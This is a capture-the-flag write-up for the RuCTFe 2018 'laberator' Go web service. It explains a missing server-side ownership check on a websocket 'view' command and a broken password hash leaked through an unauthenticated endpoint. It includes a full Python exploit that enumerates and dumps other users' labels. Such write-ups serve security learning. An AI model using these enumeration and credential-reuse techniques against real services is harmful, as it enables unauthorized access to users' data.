# RuCTFe 2018 laberator
Team: [FAUST](https://www.faust.ninja)  Crew: [izibi](https://twitter.com/julian24), [siccegge](https://christoph-egger.org)  CTF: https://ructfe.org/2018
## The service
Webservice written in go. Has some pretty standard functionality (register, login, store a string) with the logic somewhat dispersed between the main webserver in `main.go`, some stuff in the templates and the websockets endpoint in `command_executor.go`. Obviously you have to extract the strings ("labels") from the gameserver. Also the `phrase` stored when creating the account was used to store some more flags.
## Client side authentication for labels
Gem from the viewLabel javascript function. For some reason the label's owner is checked client-side after the data was already returned to the client.
```javascript            let label = JSON.parse(e.data);            if (label.Owner !== getLoginFromCookies()) {                return;            }```
And indeed, the websocket view method checks for *some* valid session but doesn't concern itself with any further validation of access priviledges. As long as you have *any* valid session and can figure out websockets you can get about any label you like.
```go        "view": func(ex *CommandExecutor, data []byte) ([]byte, error) {                var viewData ViewData                err := json.Unmarshal(data, &viewData)                if err != nil {                        return nil, createUnmarshallingError(err, data)                }                cookies := parseCookies(viewData.RawCookies)                ok, _ := ex.sm.ValidateSession(cookies)                if !ok {                        return nil, errors.New("invalid session")                }                label, err := ex.dbApi.ViewLabel(viewData.LabelId)                if err != nil {                        return nil, errors.New(fmt.Sprintf("db request error: %v, labelId=(%v)", err.Error(), viewData.LabelId))                }                rawLabel, err := json.Marshal(*label)                if err != nil {                        return nil, errors.New(fmt.Sprintf("marshalling error: %v, label=(%v)", err.Error(), *label))                }                return rawLabel, nil        },```
Putting things together. The exploit builds an fresh account. It generates some label (to figure out the ID if the most recent labels) and then bulk loads the last 100 labels
```python#!/usr/bin/env python3
import requestsimport websocketimport jsonimport sysimport stringimport randomimport base64
def main():    host = sys.argv[1]    session = requests.session()     password = [i for i in string.ascii_letters]    random.shuffle(password)
    username = ''.join(password[:10])    phrase = base64.b64encode((''.join(password[10:20])).encode()).decode()    password = base64.b64encode((''.join(password[20:36])).encode()).decode()
    x = session.get('http://%s:8888/register?login=%s&phrase=%s&password=%s' %                       (host,username,phrase,password))    x = session.get('http://%s:8888/login?login=%s&password=%s' %                     (host,username, password))    raw_cookie = 'login=%s;sid=%s' % (x.cookies['login'], x.cookies['sid'])     ws = websocket.create_connection('ws://%s:8888/cmdexec' % (host,))
    data = {'Text': 'test', 'Font': 'Arial', 'Size': 20, 'RawCookies': raw_cookie}    ws.send(json.dumps({"Command": "create", "Data": json.dumps(data)}))    # make sure create is already commited before continuing    ws.recv()     data = {'Offset': 0, 'RawCookies': raw_cookie}    ws.send(json.dumps({"Command": "list", "Data": json.dumps(data)}))    stuff = json.loads(ws.recv())    lastid = stuff[0]['ID']
    for i in range(0 if lastid-100 < 0 else lastid-100, lastid):        ws = websocket.create_connection('ws://%s:8888/cmdexec' % (host,))        try:            data = {'LabelId': i, 'RawCookies': raw_cookie}            ws.send(json.dumps({"Command": "view", "Data": json.dumps(data)}))            print(json.loads(ws.recv())["Text"])        except Exception:            pass 
if __name__ == '__main__':    main()```
## Password Hash
The hash module used is obviously suspect. consists of a binary and a wrapper, freshly uploaded to github just the day before. Also if you create a test account with an short password (say, `test`) you end up with an hash that contains the password in plain (say, `testTi\x02mH\x91\x96U\\I\x8a\xdd`). Looking closer, if you register with a password that is exactly 16 characters (`aaaaaaaaaaaaaaaa`) you end up with an 16 character hash that is identical. This also means the password hash is a valid password for the account.
Listening to `tcpdump` for a while you'll notice interesting entries:
```[{"ID":2,"Login":"test","PasswordHash":"dGVzdFRpAm1IkZZVXEmK3Q==","Phrase":{"ID":0,"Value":""}}]```
See the password hash there? Turns out this comes from the regularly scheduled `last_users` websocket call.
```go        "last_users":  func(ex *CommandExecutor, _ []byte) ([]byte, error) {                users := ex.dbApi.GetLastUsers()                rawUsers, err := json.Marshal(*users)                if err != nil {                        return nil, errors.New(fmt.Sprintf("marshalling error: %v, users=(%v)", err.Error(), *users))                }                return rawUsers, nil        },```
So call `last_users` (doesn't even need a session), for all the last 20 users log in and just load all the labels. Good thing passwords are transfered base64 encoded, so no worrying about non-printable characters in the password hash.
Additionally sessions were generated with the broken hash implementation. This probably would have allowed to compute session ids.